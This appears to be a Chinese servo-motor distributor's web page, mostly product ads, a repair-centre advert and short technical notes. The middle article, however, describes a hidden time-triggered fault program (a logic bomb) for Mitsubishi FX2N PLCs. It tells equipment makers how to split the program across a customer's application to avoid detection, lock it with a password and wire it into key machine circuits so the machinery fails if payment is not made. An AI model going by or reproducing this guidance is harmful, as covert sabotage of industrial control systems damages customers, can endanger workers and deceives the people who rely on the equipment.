华科星--电机智造筑梦者 伺服电机让自动化生产更简单高效
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  • 发布时间: 2018 - 07 - 12
    台湾拓达科技有限公司                                                                              台湾拓达科技有限公司(Tode Technoioies Co.,Ltd.)1980年成立于台湾新竹市,是专业从事电子自动化控制和制造的科技公司。我们基于客户的需求持续改善创新,力求提供全方位的自动化控制解决方案和产品来满足当今越来越高的自动化生产要求。与世界多家知名电机公司保持着长期的技术战略合作关系,近十年来通过产品不断发展革新已经行销全球50几个国家或地区;为了能更好满足内地客户的各种需求和提供更加专业及时的技术服务,公司已经于2008年在浙江嘉兴设立工厂并针对中国市场的发展趋势设计最适化产品,全方位的服务中国自动化机械制造业。
    拓达TSDA系统直流伺服驱动器、直流伺服电机,电压18~80VDC;反馈单元1000线、1250线、2500线;接收600KHZ脉冲频率;华科星电气主营产品:富士伺服电机,东元伺服电机,禾川伺服电机, 拓达伺服电机,拓达步进电机,中大行星减速机,博世力士乐变频器,安全光幕,传感器,开关电源等自动化集成产品。华科星免费提供伺服电机选型与产品技术支持,提供24V/36V/48V国产直流伺服电机,直流伺服驱动器,低压伺服电机厂家销售&终身维护,13602631692!
  • 发布时间: 2018 - 07 - 11
    台湾拓达科技有限公司                                                                              台湾拓达科技有限公司(Tode Technoioies Co.,Ltd.)1980年成立于台湾新竹市,是专业从事电子自动化控制和制造的科技公司。我们基于客户的需求持续改善创新,力求提供全方位的自动化控制解决方案和产品来满足当今越来越高的自动化生产要求。与世界多家知名电机公司保持着长期的技术战略合作关系,近十年来通过产品不断发展革新已经行销全球50几个国家或地区;为了能更好满足内地客户的各种需求和提供更加专业及时的技术服务,公司已经于2008年在浙江嘉兴设立工厂并针对中国市场的发展趋势设计最适化产品,全方位的服务中国自动化机械制造业。台湾拓达伺服电机驱动器产品详细台湾拓达伺服电机驱动器产品特点高响应:速度环响应频率达到...
    拓达伺服电机驱动器采用先进的制造工艺和质量管控体系;产品型号齐全,从200W 到7.5KW满足各种伺服电机配套需求。华科星免费提供伺服电机选型与技术支持服务,服务热线:13602631692,欢迎您来电咨询!
  • 发布时间: 2020 - 05 - 21
    拓达伺服电机驱动器采用先进的制造工艺和质量管控体系; 高响应:速度环响应频率达到800Hz,满足更高速度响应要求场合; 高精度:17bit高分辨率编码器对应,轻松应对各种高精度应用场合,更加精准平稳; 高可靠性:元器件使用寿命高达10年,为您的使用解除后顾之忧; 内部抑制滤波功能:
  • 发布时间: 2018 - 09 - 27
    台湾拓达快递分拣专用伺服滚筒,是根据快递物流行业对物流效率越来越高的要求特别定制而成的,相对传统的普通电机具有启动停止速度快、定位精准、结构紧凑一体化、安装简单等特点,能够极大的提升分拣效率提高单位时间的处理数量,模块一体化的结构使安装调试更加的方便简单设备外观更加简洁美观,并大大缩短设备组装的时间。
    台湾拓达快递分拣专用伺服滚筒,是根据快递物流行业对物流效率越来越高的要求特别定制而成的,相对传统的普通电机具有启动停止速度快、定位精准、结构紧凑一体化、安装简单等特点,能够极大的提升分拣效率提高单位时间的处理数量,模块一体化的结构使安装调试更加的方便简单设备外观更加简洁美观,并大大缩短设备组装的时间。深圳华科星电气总代理,厂家直销,大量现货!
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华科星 - 定时触发故障PLC编程程序

日期: 2019-08-20
浏览次数: 63

华科星 - 定时触发故障PLC编程程序

PLC编程

一、定时触发故障PLC程序(PLC为实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,指定时间以后将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X20为定时触发故障复位端子,要求该端子为没有被使用的端子(否则请更换为另一个没有被使用的端子)。需要解除还没有被触发的故障或已经触发的故障时,将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间,一旦该端子与COM端子断开,故障将在预定时间触发!如果系统当前时间已经过了指定的故障触发时间,一旦该端子与COM端子断开,故障将立即触发!如果需要重新指定故障触发时间,就必须得更改指定的故障触发时间——需要对PLC进行编程!
   该程序指定的故障触发时间为2007年1月1日0时0分0秒,可以进行更改。
   该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——各存储器请按照相应存储区域进行更改。
   该程序并没有修改PLC的系统时钟,因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。
   在程序动作之前,应当检查PLC的系统时钟是否正确反映当前日期和时间(因为PLC的默认系统时钟可能不正确,笔者就遇到过系统时钟快一个小时多一点的情况)。检查方法如下:
   启动三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口,将电脑与PLC正确连接(具体连接方法请参阅相关说明<比如采用sc09连接电缆或等同功能电缆,加接usb转rs232电缆(需要加安装驱动)等等>),然后点击“在线”——“PLC读取”——“确认”(对于部分笔记本电脑(比如顶星品牌龙尊系列某型号的笔记本电脑),默认串口为COM2,这种情况下需要将COM口选为COM2,具体操作方法不再赘述),然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后,马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间(请注意,软元件内存只是下载时的PLC内存,并不能实时反映PLC程序的当前软元件内存数据。所以,软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢)。或者,采用另外一种更简单的方法:直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟,不实时跟随。
   如果PLC的系统时钟不能正确反映当前日期和时间,那就需要对软元件内存进行修改。修改方法为:1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项,然后更改时间就可以了。但该方法一次性只能更改一回时间,一旦更改后时间就实时跟随了,无法再进行更改。如果需要再次更改,需要将该窗口关闭后重新打开,然后再进行时间的更改。 2、通过程序的相关指令(例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间,具体指令此处就不再赘述了)。
  通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验,证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容,也就是说特殊存储区没被列入“软元件内存”的范围之内
二、定时触发故障PLC程序(PLC非实时时钟)
   该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序,仅适用于三菱FX2N系列PLC。
   该程序是为设备制造商收取剩余款项而设的筹码,在设备制造商老板有要求时可以使用,仅适用于信誉度不好的客户。该程序一旦触发,无论设备是否处于运行状态、PLC是否处于运行状态或通电状态,一年以后(时间长短可以修改)将会准时出现故障。请谨慎使用!
   该程序应当嵌入应用程序之中,为避免他人识破,可以将程序分成多块分别嵌入在应用程序的各个地方。
   为避免他人修改你的程序,应当将整个程序进行加密——设置口令,具体操作方法请参阅程序加密的相关说明。
   X0是定时触发故障触发端子,X0只要在PLC处于运行状态下至少动作过一次就可以了。
   M490为故障触点,应当串联或并联在程序多个关键动作回路中。
   X1为定时触发故障复位端子,要求在通常情况下,连续动作时间不能超过30秒(时间可以修改),否则请改为另外一个输入触点。需要解除故障触发功能时,让X1保持通电30秒(时间可以修改)即可。也可以将X1改为最后一个未用的输入触点,需要永远解除故障触发功能时,将该触点和PLC的输入COM端短接即可。如果只是让定时触发故障复位端子接通超过30秒(时间可以修改)然后断开,那么一年以后(时间长短可以修改)仍然会准时出现故障。如果希望永远解除定时故障触发功能,请将定时触发故障复位端子和PLC的输入COM端短接即可。
   该程序中所用到的通用继电器M480-M499、保持继电器M1023、定时器T198、存储区D0-D5,请不要在程序的其它地方使用,否则该程序可能无法正常发挥作用。
   对于三菱其它系列PLC或其它品牌PLC,请对程序作相应更改——原保持继电器M1023更换后仍然具有断电保持功能,其它存储器请按照相应存储区域进行更改。
   该程序动作后,PLC的系统时钟并非是实时时钟,因此程序中的其它地方或和PLC编程/PLC程序通信的其它设备所调用的PLC系统时钟并不能正确反映当前日期和时间。

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2017 - 04 - 26
去年8月自动化展,东元集团董事长邱纯枝(右)与电控事业部协理蒋世坚博士(左),向媒体说明东元伺服新一代JSDG2等產品与其他设备整合以实现工业4.0的智慧生產。   物联网IOT(Internet of Things)的兴起,使网路的串连以及高速通讯成为现今主流趋势,使得工厂自动化的脚步更被迫快马加鞭。  为搭上这一波新兴网路浪潮,东元电机预计4月盛大推出新一世代高速通讯伺服驱动器JSDG2系列,以东元过往伺服的经验搭配全新技术,用高速、高响应挑战日系同级產品,并誓言要抢占高阶伺服驱动器的应用市场。  继去年度推出基本型伺服驱动器JSDES,针对伺服一般的应用,普遍市场反应良好。今年东元乘胜追击,推出新一世代高速通讯伺服驱动器JSDG2回应市场需求;JSDG2不但性能与功能皆大幅提升,且在通讯上可支援CANopen与EtherCAT高速通讯,兼可补齐过往东元伺服驱动器缺乏之机种。  东元JSDG2系列伺服适用于高精密机械应用,锁定机械手臂及CNC工具机等高阶市场,为另一个国產伺服驱动器的耀眼选择。JSDG2在上市前,已在许多不同的机台上进行多方面测试,如去年的自动化展中就展现其机械手臂上应用的可适性,让许多与会厂商惊艳。尤其是,JSDG2加上了全新开发的自动调适(Auto-tuning)功能,让使用者更能轻松迅速地调适相关马达参数,...
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深圳东元伺服维修中心专业维修世界各国伺服电机、伺服控制器、驱动器、PLC、直流调速器、触摸屏、人机界面、计数器仪表等自动化工控产品。我们拥有国内规模化专业化的伺服维修中心,高素质的专业维修团队,丰富的维修经验,雄厚的技术实力,优惠合理的价格,良好的商业信誉和大量的配件库存。我们配备了先进的维修设备,能够在无图纸无资料的条件下维修变频器,一般当天修复!祁工:13902954146时刻为你服务,处处为你着想的态度,为解决你的燃眉之急提供了最快速的保障。我们将以最大的热情,最快的速度为你排忧解难,因为我们不仅能够做到,还能做得更好!深圳东元伺服修中心,东莞东元伺服维修中心,广州东元伺服维修中心,佛山东元伺服维修中心,中山东元伺服维修中心,顺德东元伺服维修中心,惠州东元伺服维修中心,汕头东元伺服维修中心,东元伺服维修技术,东元伺服维修培训,东元伺服维修资料,PLC维修中心,伺服维修中心,伺服驱动器维修,伺服控制器维修,伺服放大器维修,DC直流调速器维修中心,工控设备维修中心,台安东元伺服维修,台达东元伺服维修,东元变频器维修,汇川伺服维修,安川伺服维修。  如有技术问题访问网站http://www.vacsin.cn咨询,24小时技术服务团队,提供解决方案及技术服务,技术电话:13902954146  主营产品:富士伺服电机,东元伺服电机,禾川伺服电机,拓达伺...
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伺服电机有几种制动方式:    1.动态制动器由动态制动电阻组成,在故障、急停、电源断电时通过能耗制动缩短伺服电机的机械进给距离.    2.再生制动是指伺服电机在减速或停车时将制动产生的能量通过逆变回路反馈到直流母线,经阻容回路吸收.    3.电磁制动是通过机械装置锁住电机的轴.   伺服电机三种控制方式的区别:    1.再生制动必须在伺服器正常工作时才起作用,在故障,急停,电源断电时等情况下无法制动电机.动态制动器和电磁制动工作时不需电源.    2.再生制动的工作是系统自动进行,而动态制动器和电磁制动的工作需外部继电器控制.    3.电磁制动一般在SV OFF后启动,否则可能造成放大器过载.动态制动器一般在SV OFF或主回路断电后启动,否则可能造成动态制动电阻过热. 伺服电机 选择配件的注意事项:    1.有些系统如传送装置,升降装置等要求伺服电机能尽快停车.而在故障,急停,电源断电时伺服器没有再生制动无法对电机减速.同时系统的机械惯量又较大,这时对动态制动器的选择要依据负载的轻重,电机的工作速度等.    2.有些系统要维持机械...
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直流伺服电机控制模式的仿真  为了能够精确地对伺服电机进行3种控制模式下的仿真,通过MATLAB下的Simulink建立仿真环境,并采用PID的形式来设计控制器,验证直流伺服电机的控制不会因负载不同而发生变化,从而实现对直流伺服电机的位置、速度和力矩的3种模式控制仿真。基于摆臂系统为例,以电流环为最基本环路,速度环和位置环为外环,通过调节力矩PI控制器、速度PI控制器以及位置PID控制器,分别对力矩模式、速度模式及位置模式3种伺服电机的控制模式进行仿真,在伺服电机的额定力矩范围内改变负载值,来验证了控制器确定后,直流伺服电机不会因负载变化而改变控制特性。  如有技术问题访问华科星电气网站咨询,24小时技术服务团队,提供解决方案及技术服务,技术电话:13902954146  华科星电气主营产品:富士伺服电机,东元伺服电机,禾川伺服电机,拓达伺服电机,拓达步进电机,中大行星减速机,博世力士乐变频器,安全光幕,传感器,开关电源等。
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